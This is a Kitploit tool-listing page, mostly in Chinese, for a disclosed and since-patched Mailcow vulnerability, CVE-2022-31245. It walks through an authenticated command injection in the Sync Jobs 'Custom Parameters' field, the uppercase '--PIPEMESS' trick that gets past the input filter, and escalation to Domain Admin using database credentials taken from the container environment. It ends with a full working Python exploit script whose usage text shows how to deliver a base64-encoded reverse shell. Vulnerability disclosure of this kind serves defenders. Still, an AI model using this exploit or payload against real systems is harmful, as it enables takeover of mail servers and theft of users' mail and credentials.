Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Mailcow-CVE-2022-31245 — CVE-2022-31245:针对 Mailcow 的 RCE 与域管理员权限提升 | Kitploit
工具/GitHubGitHub/ly1g3/mailcow-cve-2022-31245
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubly1g3/mailcow-cve-2022-31245

Mailcow-CVE-2022-31245

CVE-2022-31245:针对 Mailcow 的 RCE 与域管理员权限提升

查看仓库
127304年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Mailcow CVE-2022-31245

CVE-2022-31245:针对 Mailcow 的 RCE 和 Domain Admin 权限提升。包含 POC。

报告并修复:2022-05

已修复版本:https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245

CVE-2022-31245:命令注入,RCE

严重性:3/3
类型:命令注入、RCE、域接管
受影响版本:至少 2019 - 2022-05c

最近的所有 Mailcow 版本中都存在一个缺陷:系统普通用户可以利用 imapsync 中的命令注入,通过“Sync Job”功能获取 shell。利用此漏洞,攻击者可以轻松转向数据库,并在 Mailcow 中将权限提升为“Domain Admin”角色。

由于 Sync Jobs 按定时器运行,此漏洞利用默认具有持久性。

该漏洞利用会危及整个 Mailcow 实例。已在 2022-05c 版本上测试并验证可用。已在 2022-05d 中修复。

技术概述

通过以下步骤可以复现该漏洞。

获取 shell:

  1. 前往 Mailcow 登录页面(不是 SOGo)
  2. 以普通用户身份登录
  3. 前往 Sync Jobs
  4. 设置以下值:hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD 其中“Custom Parameters”字段是关键。CMD 可以是任意不含空格的 shell 命令。使用大写非常重要!
  5. 点击保存,等待 1 分钟让命令执行。

Custom Parameters 示例 payload:

--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt

CMD 不能包含空格、引号或斜杠,使用 ${IFS} 代替空格。--PIPEMESS 使用大写非常重要,可以绕过 functions.mailbox.inc.php 第 340 行的检查:

if (strpos($custom_params, 'pipemess')) {
	$custom_params = '';
}

这个大写命令仍然有效,因为 imapsync 不区分大小写。

权限提升:

  1. 在 dovcot 容器上获得 shell 后,运行 env
  2. 找到 DBUSER 和 DBPASS
  3. 使用 mysql 和凭据登录数据库
  4. 创建新的管理员用户或创建新的管理员 API 密钥

概念验证,POC

自动化 POC。在某些情况下,POC 可能需要修改才能针对非本地 Mailcow 实例运行。

#!/bin/python3

description = """

Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io

This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.


Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'

"""


import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime


parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)

args = parser.parse_args()


base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd


# Get the required csrf token
def find_csrf_token(text):
    try:
        start1 = text.index("var csrf_token")
        start2 = text.index("'", start1)
        end2 = text.index("'", start2+1)
        csrf_token = text[start2+1:end2]
        return csrf_token
    except:
        return ""

login_url = base_url + '/'

s = requests.Session()

# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)

token = find_csrf_token(r1.text)
if not token:
    print("Error no token found, login problems?")
    sys.exit(0)
print(f"CSRF token: {token}")


sync_url = base_url + '/api/v1/add/syncjob'

# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)

c = r2.content
if c.find(b"mailbox_modified") != -1:
    print("Success, rule modified")
elif c.find(b"object_exists") != -1:
    print("ERROR: Object exists, remove existing rule before running this")
    print(c)
    sys.exit(0)
else:
    print("ERROR: Something went wrong")
    print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")
下载工具